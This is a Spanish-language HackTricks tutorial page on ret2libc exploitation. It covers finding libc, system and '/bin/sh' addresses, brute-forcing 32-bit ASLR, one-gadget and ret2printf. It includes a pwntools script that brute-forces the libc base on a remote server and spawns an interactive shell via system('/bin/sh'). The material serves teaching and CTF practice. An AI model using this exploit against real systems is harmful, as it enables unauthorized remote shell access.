Ret2lib

Apoya a HackTricks

Información Básica

La esencia de Ret2Libc es redirigir el flujo de ejecución de un programa vulnerable a una función dentro de una biblioteca compartida (por ejemplo, system, execve, strcpy) en lugar de ejecutar shellcode suministrado por el atacante en la pila. El atacante crea un payload que modifica la dirección de retorno en la pila para apuntar a la función de la biblioteca deseada, al mismo tiempo que organiza que los argumentos necesarios se configuren correctamente según la convención de llamada.

Pasos de Ejemplo (simplificados)

  • Obtener la dirección de la función a llamar (por ejemplo, system) y el comando a llamar (por ejemplo, /bin/sh)

  • Generar una cadena ROP para pasar el primer argumento apuntando a la cadena de comando y el flujo de ejecución a la función

Encontrar las direcciones

  • Suponiendo que la libc utilizada es la de la máquina actual, puedes encontrar dónde se cargará en memoria con:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Si deseas verificar si ASLR está cambiando la dirección de libc, puedes hacer lo siguiente:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Conociendo la libc utilizada también es posible encontrar el desplazamiento a la función system con:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Conocer la libc utilizada también es posible encontrar el desplazamiento a la función de la cadena /bin/sh con:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Usando gdb-peda / GEF

Conociendo la libc utilizada, también es posible usar Peda o GEF para obtener la dirección de la función system, de la función exit y de la cadena /bin/sh :

p system
p exit
find "/bin/sh"

Usando /proc/<PID>/maps

Si el proceso está creando hijos cada vez que interactúas con él (servidor de red), intenta leer ese archivo (probablemente necesitarás ser root).

Aquí puedes encontrar exactamente dónde se carga la libc dentro del proceso y dónde se cargará para cada hijo del proceso.

En este caso se carga en 0xb75dc000 (Esta será la dirección base de la libc)

Librería libc desconocida

Podría ser posible que no sepas qué libc está cargando el binario (porque podría estar ubicado en un servidor al que no tienes acceso). En ese caso podrías abusar de la vulnerabilidad para filtrar algunas direcciones y encontrar qué librería libc se está utilizando:

Leaking libc address with ROP

Y puedes encontrar una plantilla de pwntools para esto en:

Leaking libc - template

Conocer la libc con 2 offsets

Consulta la página https://libc.blukat.me/ y utiliza un par de direcciones de funciones dentro de la libc para descubrir la versión utilizada.

Saltando ASLR en 32 bits

Estos ataques de fuerza bruta son solo útiles para sistemas de 32 bits.

  • Si el exploit es local, puedes intentar forzar la dirección base de la libc (útil para sistemas de 32 bits):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Si estás atacando un servidor remoto, podrías intentar hacer fuerza bruta en la dirección de la función usleep de libc, pasando como argumento 10 (por ejemplo). Si en algún momento el servidor tarda 10 segundos adicionales en responder, encontraste la dirección de esta función.

One Gadget

Ejecuta una shell saltando a una dirección específica en libc:

One Gadget

Ejemplo de Código x86 Ret2lib

En este ejemplo, la fuerza bruta de ASLR está integrada en el código y el binario vulnerable está ubicado en un servidor remoto:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Ejemplo de Código x64 Ret2lib

Ver el ejemplo en:

ROP - Return Oriented Programing

Ejemplo de ARM64 Ret2lib

En el caso de ARM64, la instrucción ret salta a donde apunta el registro x30 y no a donde apunta el registro de la pila. Por lo tanto, es un poco más complicado.

Además, en ARM64 una instrucción hace lo que la instrucción hace (no es posible saltar en medio de instrucciones y transformarlas en nuevas).

Ver el ejemplo en:

Ret2lib + Printf leak - arm64

Ret-into-printf (o puts)

Esto permite filtrar información del proceso llamando a printf/puts con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de puts en la GOT en una ejecución de puts permitirá filtrar la dirección de puts en la memoria.

Ret2printf

Esto básicamente significa abusar de un Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de printf utilizando el ret2lib para llamar a printf con los valores para explotarlo (suena inútil pero es posible):

Format Strings

Otros Ejemplos y referencias

Last updated